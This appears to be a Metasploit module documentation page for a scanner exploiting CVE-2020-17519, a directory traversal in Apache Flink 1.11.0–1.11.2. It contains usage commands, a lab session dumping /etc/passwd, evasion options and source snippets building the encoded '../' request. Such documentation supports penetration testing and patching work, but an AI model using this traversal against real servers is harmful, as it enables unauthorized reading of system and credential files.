Apache Flink JobManager Traversal - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/apache_flink_jobmanager_traversal metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Apache Flink JobManager Traversal
Module: auxiliary/scanner/http/apache_flink_jobmanager_traversal
Source code: modules/auxiliary/scanner/http/apache_flink_jobmanager_traversal.rb
Disclosure date: 2021-01-05
Last modification time: 2022-02-23 16:27:12 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8081, 8443, 8880, 8888
List of CVEs: CVE-2020-17519
This module exploits an unauthenticated directory traversal vulnerability in Apache Flink versions 1.11.0 <= 1.11.2. The JobManager REST API fails to validate user-supplied log file paths, allowing retrieval of arbitrary files with the privileges of the web server user. This module has been tested successfully on Apache Flink version 1.11.2 on Ubuntu 18.04.4.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/apache_flink_jobmanager_traversal
msf auxiliary(apache_flink_jobmanager_traversal) > show options
... show and set options ...
msf auxiliary(apache_flink_jobmanager_traversal) > set RHOSTS ip-range
msf auxiliary(apache_flink_jobmanager_traversal) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(apache_flink_jobmanager_traversal) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(apache_flink_jobmanager_traversal) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(apache_flink_jobmanager_traversal) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits an unauthenticated directory traversal vulnerability in Apache Flink versions 1.11.0 <= 1.11.2.
The JobManager REST API fails to validate user-supplied log file paths, allowing retrieval of arbitrary files with the privileges of the web server user.
This module has been tested successfully on:
- Apache Flink version 1.11.2 on Ubuntu 18.04.4.
Verification Steps
wget 'https://archive.apache.org/dist/flink/flink-1.11.2/flink-1.11.2-bin-scala_2.11.tgz'
tar zxvf flink-1.11.2-bin-scala_2.11.tgz
cd flink-1.11.2/
./bin/start-cluster.sh
Metasploit:
./msfconsole
use auxiliary/scanner/http/apache_flink_jobmanager_traversal
set rhosts <rhost>
set filepath <file path>
run
Options
FILEPATH
The path to the file to read (Default: /etc/passwd
)
DEPTH
Depth for path traversal (Default: 10
)
Scenarios
Apache Flink version 1.11.2 on Ubuntu 18.04.4
msf6 > use auxiliary/scanner/http/apache_flink_jobmanager_traversal
msf6 auxiliary(scanner/http/apache_flink_jobmanager_traversal) > set rhosts 172.16.191.195
rhosts => 172.16.191.195
msf6 auxiliary(scanner/http/apache_flink_jobmanager_traversal) > check
[*] 172.16.191.195:8081 - The target appears to be vulnerable. Apache Flink version 1.11.2 appears vulnerable.
msf6 auxiliary(scanner/http/apache_flink_jobmanager_traversal) > set filepath /etc/passwd
filepath => /etc/passwd
msf6 auxiliary(scanner/http/apache_flink_jobmanager_traversal) > run
[*] Downloading /etc/passwd ...
[+] Downloaded /etc/passwd (2401 bytes)
[+] File /etc/passwd saved in: /root/.msf4/loot/20210216114934_default_172.16.191.195_apache.flink.job_754087.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/apache_flink_jobmanager_traversal) > cat /root/.msf4/loot/20210216114934_default_172.16.191.195_apache.flink.job_754087.txt
[*] exec: cat /root/.msf4/loot/20210216114934_default_172.16.191.195_apache.flink.job_754087.txt
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:111::/run/uuidd:/usr/sbin/nologin
avahi-autoipd:x:106:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
rtkit:x:109:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
cups-pk-helper:x:110:116:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
whoopsie:x:112:117::/nonexistent:/bin/false
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:114:119::/var/lib/saned:/usr/sbin/nologin
pulse:x:115:120:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
avahi:x:116:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
colord:x:117:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
hplip:x:118:7:HPLIP system user,,,:/var/run/hplip:/bin/false
geoclue:x:119:124::/var/lib/geoclue:/usr/sbin/nologin
gnome-initial-setup:x:120:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false
user:x:1000:1000:user,,,:/home/user:/bin/bash
msf6 auxiliary(scanner/http/apache_flink_jobmanager_traversal) >
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/apache_flink_jobmanager_traversal auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/apache_flink_jobmanager_traversal
msf6 auxiliary(scanner/http/apache_flink_jobmanager_traversal) > show info
Name: Apache Flink JobManager Traversal
Module: auxiliary/scanner/http/apache_flink_jobmanager_traversal
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2021-01-05
Provided by:
0rich1 - Ant Security FG Lab
Hoa Nguyen - Suncsr Team
bcoles <[email protected]>
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 10 yes Depth for path traversal
FILEPATH /etc/passwd yes The path to the file to read
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8081 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
This module exploits an unauthenticated directory traversal
vulnerability in Apache Flink versions 1.11.0 <= 1.11.2. The
JobManager REST API fails to validate user-supplied log file paths,
allowing retrieval of arbitrary files with the privileges of the web
server user. This module has been tested successfully on Apache
Flink version 1.11.2 on Ubuntu 18.04.4.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-17519
https://cwe.mitre.org/data/definitions/22.html
https://www.exploit-db.com/exploits/49398
https://packetstormsecurity.com/files/160849
http://www.openwall.com/lists/oss-security/2021/01/05/2
https://www.tenable.com/cve/CVE-2020-17519
Module Options
This is a complete list of options available in the scanner/http/apache_flink_jobmanager_traversal auxiliary module:
msf6 auxiliary(scanner/http/apache_flink_jobmanager_traversal) > show options
Module options (auxiliary/scanner/http/apache_flink_jobmanager_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 10 yes Depth for path traversal
FILEPATH /etc/passwd yes The path to the file to read
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8081 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/apache_flink_jobmanager_traversal auxiliary module:
msf6 auxiliary(scanner/http/apache_flink_jobmanager_traversal) > show advanced
Module advanced options (auxiliary/scanner/http/apache_flink_jobmanager_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/apache_flink_jobmanager_traversal module can do:
msf6 auxiliary(scanner/http/apache_flink_jobmanager_traversal) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/apache_flink_jobmanager_traversal auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/apache_flink_jobmanager_traversal) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- No reply.
- Target is not Apache Flink.
- Could not determine Apache Flink software version.
- Apache Flink version <VERSION> appears vulnerable.
- Apache Flink version <VERSION> is not vulnerable.
- No reply
- File not found
- Unexpected reply (HTTP <RES.CODE>): Server encountered an error attempting to read file
- Unexpected reply (HTTP <RES.CODE>)
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No reply.
Here is a relevant code snippet related to the "No reply." error message:
52: 'method' => 'GET',
53: 'uri' => normalize_uri(target_uri.path, 'config')
54: })
55:
56: unless res
57: return Exploit::CheckCode::Unknown('No reply.')
58: end
59:
60: unless res.body.include?('flink')
61: return Exploit::CheckCode::Safe('Target is not Apache Flink.')
62: end
Target is not Apache Flink.
Here is a relevant code snippet related to the "Target is not Apache Flink." error message:
56: unless res
57: return Exploit::CheckCode::Unknown('No reply.')
58: end
59:
60: unless res.body.include?('flink')
61: return Exploit::CheckCode::Safe('Target is not Apache Flink.')
62: end
63:
64: version = res.get_json_document['flink-version']
65:
66: if version.blank?
Could not determine Apache Flink software version.
Here is a relevant code snippet related to the "Could not determine Apache Flink software version." error message:
62: end
63:
64: version = res.get_json_document['flink-version']
65:
66: if version.blank?
67: return Exploit::CheckCode::Detected('Could not determine Apache Flink software version.')
68: end
69:
70: if Rex::Version.new(version).between?(Rex::Version.new('1.11.0'), Rex::Version.new('1.11.2'))
71: return Exploit::CheckCode::Appears("Apache Flink version #{version} appears vulnerable.")
72: end
Apache Flink version <VERSION> appears vulnerable.
Here is a relevant code snippet related to the "Apache Flink version <VERSION> appears vulnerable." error message:
66: if version.blank?
67: return Exploit::CheckCode::Detected('Could not determine Apache Flink software version.')
68: end
69:
70: if Rex::Version.new(version).between?(Rex::Version.new('1.11.0'), Rex::Version.new('1.11.2'))
71: return Exploit::CheckCode::Appears("Apache Flink version #{version} appears vulnerable.")
72: end
73:
74: Exploit::CheckCode::Safe("Apache Flink version #{version} is not vulnerable.")
75: end
76:
Apache Flink version <VERSION> is not vulnerable.
Here is a relevant code snippet related to the "Apache Flink version <VERSION> is not vulnerable." error message:
69:
70: if Rex::Version.new(version).between?(Rex::Version.new('1.11.0'), Rex::Version.new('1.11.2'))
71: return Exploit::CheckCode::Appears("Apache Flink version #{version} appears vulnerable.")
72: end
73:
74: Exploit::CheckCode::Safe("Apache Flink version #{version} is not vulnerable.")
75: end
76:
77: def retrieve_file(depth, filepath)
78: traversal = Rex::Text.uri_encode(Rex::Text.uri_encode("#{'../' * depth}#{filepath}", 'hex-all'))
79: res = send_request_cgi({
No reply
Here is a relevant code snippet related to the "No reply" error message:
80: 'method' => 'GET',
81: 'uri' => normalize_uri(target_uri.path, 'jobmanager', 'logs', traversal)
82: })
83:
84: unless res
85: print_error('No reply')
86: return
87: end
88:
89: if res.code == 404
90: print_error('File not found')
File not found
Here is a relevant code snippet related to the "File not found" error message:
85: print_error('No reply')
86: return
87: end
88:
89: if res.code == 404
90: print_error('File not found')
91: return
92: end
93:
94: if res.code == 500
95: print_error("Unexpected reply (HTTP #{res.code}): Server encountered an error attempting to read file")
Unexpected reply (HTTP <RES.CODE>): Server encountered an error attempting to read file
Here is a relevant code snippet related to the "Unexpected reply (HTTP <RES.CODE>): Server encountered an error attempting to read file" error message:
90: print_error('File not found')
91: return
92: end
93:
94: if res.code == 500
95: print_error("Unexpected reply (HTTP #{res.code}): Server encountered an error attempting to read file")
96: msg = res.body.scan(/Caused by: (.+?)\\n/).flatten.last
97: print_error(msg) if msg
98: return
99: end
100:
Unexpected reply (HTTP <RES.CODE>)
Here is a relevant code snippet related to the "Unexpected reply (HTTP <RES.CODE>)" error message:
97: print_error(msg) if msg
98: return
99: end
100:
101: if res.code != 200
102: print_error("Unexpected reply (HTTP #{res.code})")
103: return
104: end
105:
106: res.body.to_s
107: end
Go back to menu.
Related Pull Requests
- #14898 Merged Pull Request: Add rubocop rule to correct
Gem::Version
toRex::Version
- #14766 Merged Pull Request: Add Apache Flink JobManager Traversal
References
- CVE-2020-17519
- CWE-22
- EDB-49398
- PACKETSTORM-160849
- http://www.openwall.com/lists/oss-security/2021/01/05/2
- https://www.tenable.com/cve/CVE-2020-17519
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/apache_activemq_source_disclosure
- auxiliary/scanner/http/apache_activemq_traversal
- auxiliary/scanner/http/apache_mod_cgi_bash_env
- auxiliary/scanner/http/apache_normalize_path
- auxiliary/scanner/http/apache_optionsbleed
- auxiliary/scanner/http/apache_userdir_enum
- auxiliary/scanner/ssh/apache_karaf_command_execution
- auxiliary/dos/http/apache_commons_fileupload_dos
- auxiliary/dos/http/apache_mod_isapi
- auxiliary/dos/http/apache_range_dos
- auxiliary/dos/http/apache_tomcat_transfer_encoding
- auxiliary/gather/apache_rave_creds
- exploit/linux/http/apache_continuum_cmd_exec
- exploit/linux/http/apache_couchdb_cmd_exec
- exploit/linux/http/apache_druid_js_rce
- exploit/linux/http/apache_ofbiz_deserialization
- exploit/linux/http/apache_ofbiz_deserialization_soap
- exploit/linux/http/apache_spark_rce_cve_2022_33891
- exploit/linux/smtp/apache_james_exec
- exploit/multi/http/apache_activemq_upload_jsp
- exploit/multi/http/apache_apisix_api_default_token_rce
- exploit/multi/http/apache_couchdb_erlang_rce
- exploit/multi/http/apache_flink_jar_upload_exec
- exploit/multi/http/apache_jetspeed_file_upload
- exploit/multi/http/apache_mod_cgi_bash_env_exec
- exploit/multi/http/apache_nifi_processor_rce
- exploit/multi/http/apache_normalize_path_rce
- exploit/multi/http/apache_roller_ognl_injection
- exploit/windows/http/apache_activemq_traversal_upload
- exploit/windows/http/apache_chunked
- exploit/windows/http/apache_modjk_overflow
- exploit/windows/http/apache_mod_rewrite_ldap
- exploit/windows/http/apache_tika_jp2_jscript
- auxiliary/gather/cve_2021_27850_apache_tapestry_hmac_key
- exploit/windows/http/php_apache_request_headers_bof
Authors
- 0rich1 - Ant Security FG Lab
- Hoa Nguyen - Suncsr Team
- bcoles
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.